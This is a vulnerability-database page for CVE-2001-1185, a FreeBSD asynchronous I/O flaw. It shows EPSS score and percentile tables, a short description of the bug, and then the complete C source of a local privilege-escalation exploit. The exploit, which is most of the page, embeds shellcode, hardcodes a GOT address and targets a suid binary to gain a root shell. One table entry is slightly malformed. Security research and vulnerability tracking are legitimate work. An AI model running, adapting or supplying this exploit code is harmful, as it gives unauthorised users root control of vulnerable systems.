CVE-2001-1185 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-04-15	34%
2025-04-15	34%

// source: https://www.securityfocus.com/bid/3661/info aio.h is a library implementing the POSIX standard for asynchronous I/O. Support for AIO may be enabled in FreeBSD by compiling the kernel with the VFS_AIO option. This option is not enabled in the default kernel configuration. Under some circumstances, pending reads from an input socket may persist through a call to execve. Eventually the read will continue, and write to the memory space of the new process. If a local user is able to create and execute a malicious program calling a suid program, it may be possible to overwrite arbitrary memory locations in the suid process with arbitrary data. This could immediately lead to escalated privileges. /* tao - FreeBSD Local AIO Exploit * * http://elysium.soniq.net/dr/tao/tao.html * * 4.4-STABLE is vulnerable up to at least 28th October. * * (C) David Rufino <dr@soniq.net> 2001 * All Rights Reserved. * *************************************************************************** * bug found 13/07/01 * * Any scheduled AIO read/writes will generally persist through an execve. * * "options VFS_AIO" must be in your kernel config, which is not enabled * by default. * * It may be interesting to note that the FreeBSD team have known about this * bug for a long time. Just take a look at 'LINT'. * * get the GOT address of exit, from any suid bin, by doing: * $ objdump --dynamic-reloc bin | grep exit */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <aio.h> char code[]= "\x31\xc0\x50\x50\xb0\x17\xcd\x80" "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80"; unsigned long GOT = 0x0804fe20; char *execbin = "/usr/bin/passwd"; int main (argc, argv) int argc; char **argv; { int fds[2], sdf[2]; struct aiocb cb, cb2; char buf[128], d; if ((d = getopt (argc, argv, "g:e:")) != -1) { switch (d) { case 'g': GOT = strtoul (optarg, NULL, 16); break; case 'e': execbin = optarg; break; } } printf ("got address: %08lx\n", GOT); printf ("executable: %s\n", execbin); /* * pipes are treated differently to sockets, with sockets the * aiod gets notifyed, whereas with pipes the aiod starts * immediately blocking in fo_read. This is a problem because * after the execve the aiod is still using the old vmspace struct * if you use pipes, which means the data doesnt actually get copied */ if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) { perror ("socketpair"); return (EXIT_FAILURE); } if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) { perror ("socketpair"); return (EXIT_FAILURE); } if (fork() != 0) { close (fds[0]); close (sdf[0]); memset (&cb, 0, sizeof(cb)); memset (&cb2, 0, sizeof(cb2)); cb.aio_fildes = fds[1]; cb.aio_offset = 0; cb.aio_buf = (void *)GOT; cb.aio_nbytes = 4; cb.aio_sigevent.sigev_notify = SIGEV_NONE; cb2.aio_fildes = sdf[1]; cb2.aio_offset = 0; cb2.aio_buf = (void *)0xbfbfff80; cb2.aio_nbytes = sizeof(code); cb2.aio_sigevent.sigev_notify = SIGEV_NONE; if (aio_read (&cb2) < 0) { perror ("aio_read"); return (EXIT_FAILURE); } if (aio_read (&cb) < 0) { perror ("aio_read"); return (EXIT_FAILURE); } execl (execbin, "test", NULL); } else { close(fds[1]); close(sdf[1]); sleep(2); printf ("writing\n"); write (sdf[0], code, sizeof(code)); *(unsigned int *)buf = 0xbfbfff80; write (fds[0], buf, 4); } return (EXIT_SUCCESS); } /* * vim: ts=8 */